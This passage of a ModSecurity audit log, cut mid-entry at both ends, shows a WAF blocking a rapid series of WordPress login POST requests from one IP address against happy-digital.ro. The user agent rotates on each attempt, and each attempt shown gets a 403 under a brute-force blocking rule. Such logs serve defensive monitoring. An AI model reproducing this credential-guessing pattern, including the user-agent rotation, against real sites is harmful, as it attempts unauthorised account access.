Stopwatch2: 1789313961632068 1996; combined=740, p1=368, p2=87, p3=0, p4=0, p5=285, sr=101, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f8269c1b-Z--
--4e08e17c-A--
[13/Sep/2026:18:39:22.025941 +0300] aqbDqhsbgHO3aGL3jiTwtQAAAAk 134.185.87.66 59928 127.0.0.1 7081
--4e08e17c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--4e08e17c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--4e08e17c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313962024260 1735 (- - -)
Stopwatch2: 1789313962024260 1735; combined=575, p1=237, p2=80, p3=0, p4=0, p5=257, sr=96, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4e08e17c-Z--
--0b42f24e-A--
[13/Sep/2026:18:39:22.404143 +0300] aqbDqvut1GUrjaX0wO44ngAAAMs 134.185.87.66 59948 127.0.0.1 7081
--0b42f24e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--0b42f24e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--0b42f24e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313962402512 1755 (- - -)
Stopwatch2: 1789313962402512 1755; combined=597, p1=256, p2=106, p3=0, p4=0, p5=235, sr=114, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0b42f24e-Z--
--4562632a-A--
[13/Sep/2026:18:39:22.785973 +0300] aqbDqvut1GUrjaX0wO44oAAAANY 134.185.87.66 59954 127.0.0.1 7081
--4562632a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--4562632a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--4562632a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313962783978 2063 (- - -)
Stopwatch2: 1789313962783978 2063; combined=740, p1=352, p2=92, p3=0, p4=0, p5=295, sr=182, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4562632a-Z--
--2d1e3a14-A--
[13/Sep/2026:18:39:23.171748 +0300] aqbDq-ut1GUrjaX0wO44ogAAAMQ 134.185.87.66 59972 127.0.0.1 7081
--2d1e3a14-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 105
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0.2
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--2d1e3a14-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--2d1e3a14-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313963170272 1533 (- - -)
Stopwatch2: 1789313963170272 1533; combined=519, p1=211, p2=57, p3=0, p4=0, p5=251, sr=79, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2d1e3a14-Z--
--4f9d691b-A--
[13/Sep/2026:18:39:23.557843 +0300] aqbDq-ut1GUrjaX0wO44qgAAAMk 134.185.87.66 60048 127.0.0.1 7081
--4f9d691b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--4f9d691b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--4f9d691b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313963556225 1673 (- - -)
Stopwatch2: 1789313963556225 1673; combined=585, p1=225, p2=63, p3=0, p4=0, p5=297, sr=77, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4f9d691b-Z--
--09769655-A--
[13/Sep/2026:18:39:23.937578 +0300] aqbDq-ut1GUrjaX0wO44sAAAAM4 134.185.87.66 60110 127.0.0.1 7081
--09769655-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--09769655-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--09769655-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313963935818 1865 (- - -)
Stopwatch2: 1789313963935818 1865; combined=573, p1=219, p2=80, p3=0, p4=0, p5=274, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--09769655-Z--
--f574b401-A--
[13/Sep/2026:18:39:24.334306 +0300] aqbDrPut1GUrjaX0wO44tgAAANU 134.185.87.66 60172 127.0.0.1 7081
--f574b401-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--f574b401-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f574b401-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313964331441 3000 (- - -)
Stopwatch2: 1789313964331441 3000; combined=1090, p1=518, p2=122, p3=0, p4=0, p5=450, sr=281, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f574b401-Z--
--049f1d50-A--
[13/Sep/2026:18:39:24.735727 +0300] aqbDrPut1GUrjaX0wO44vQAAAM8 134.185.87.66 60242 127.0.0.1 7081
--049f1d50-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 100
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--049f1d50-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--049f1d50-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313964734093 1689 (- - -)
Stopwatch2: 1789313964734093 1689; combined=563, p1=239, p2=69, p3=0, p4=0, p5=255, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--049f1d50-Z--
--65244233-A--
[13/Sep/2026:18:39:25.156011 +0300] aqbDrfut1GUrjaX0wO44wAAAAMM 134.185.87.66 60274 127.0.0.1 7081
--65244233-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 87
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:92.0) Gecko/20100101 Firefox/92.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--65244233-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--65244233-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313965154371 1702 (- - -)
Stopwatch2: 1789313965154371 1702; combined=572, p1=254, p2=68, p3=0, p4=0, p5=249, sr=87, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--65244233-Z--
--3041c56d-A--
[13/Sep/2026:18:39:25.549543 +0300] aqbDrfut1GUrjaX0wO44wgAAANQ 134.185.87.66 46680 127.0.0.1 7081
--3041c56d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 87
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--3041c56d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--3041c56d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313965547948 1653 (- - -)
Stopwatch2: 1789313965547948 1653; combined=554, p1=258, p2=66, p3=0, p4=0, p5=230, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3041c56d-Z--
--8e29dc0a-A--
[13/Sep/2026:18:39:25.929768 +0300] aqbDrfut1GUrjaX0wO44xAAAANM 134.185.87.66 46706 127.0.0.1 7081
--8e29dc0a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--8e29dc0a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--8e29dc0a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313965927932 1914 (- - -)
Stopwatch2: 1789313965927932 1914; combined=681, p1=318, p2=78, p3=0, p4=0, p5=285, sr=102, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8e29dc0a-Z--
--beabb25e-A--
[13/Sep/2026:18:39:26.311127 +0300] aqbDrvut1GUrjaX0wO44xgAAAMw 134.185.87.66 46722 127.0.0.1 7081
--beabb25e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--beabb25e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--beabb25e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313966309376 1830 (- - -)
Stopwatch2: 1789313966309376 1830; combined=664, p1=269, p2=117, p3=0, p4=0, p5=278, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--beabb25e-Z--
--5caaea05-A--
[13/Sep/2026:18:39:26.697821 +0300] aqbDrldqBhgxDSpG7haLEwAAAFQ 134.185.87.66 46734 127.0.0.1 7081
--5caaea05-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 120
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--5caaea05-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5caaea05-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313966695976 1916 (- - -)
Stopwatch2: 1789313966695976 1916; combined=732, p1=327, p2=73, p3=0, p4=0, p5=332, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5caaea05-Z--
--15aac358-A--
[13/Sep/2026:18:39:27.076504 +0300] aqbDr-ut1GUrjaX0wO44yAAAANE 134.185.87.66 46758 127.0.0.1 7081
--15aac358-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--15aac358-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--15aac358-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313967074785 1778 (- - -)
Stopwatch2: 1789313967074785 1778; combined=602, p1=228, p2=80, p3=0, p4=0, p5=294, sr=78, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--15aac358-Z--
--311d4051-A--
[13/Sep/2026:18:39:27.465204 +0300] aqbDr-ut1GUrjaX0wO44ygAAAME 134.185.87.66 46764 127.0.0.1 7081
--311d4051-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 104
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--311d4051-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--311d4051-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313967463456 1803 (- - -)
Stopwatch2: 1789313967463456 1803; combined=565, p1=266, p2=76, p3=0, p4=0, p5=223, sr=129, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--311d4051-Z--
--44307b03-A--
[13/Sep/2026:18:39:27.844126 +0300] aqbDr-ut1GUrjaX0wO44ywAAANA 134.185.87.66 46792 127.0.0.1 7081
--44307b03-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--44307b03-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--44307b03-H--
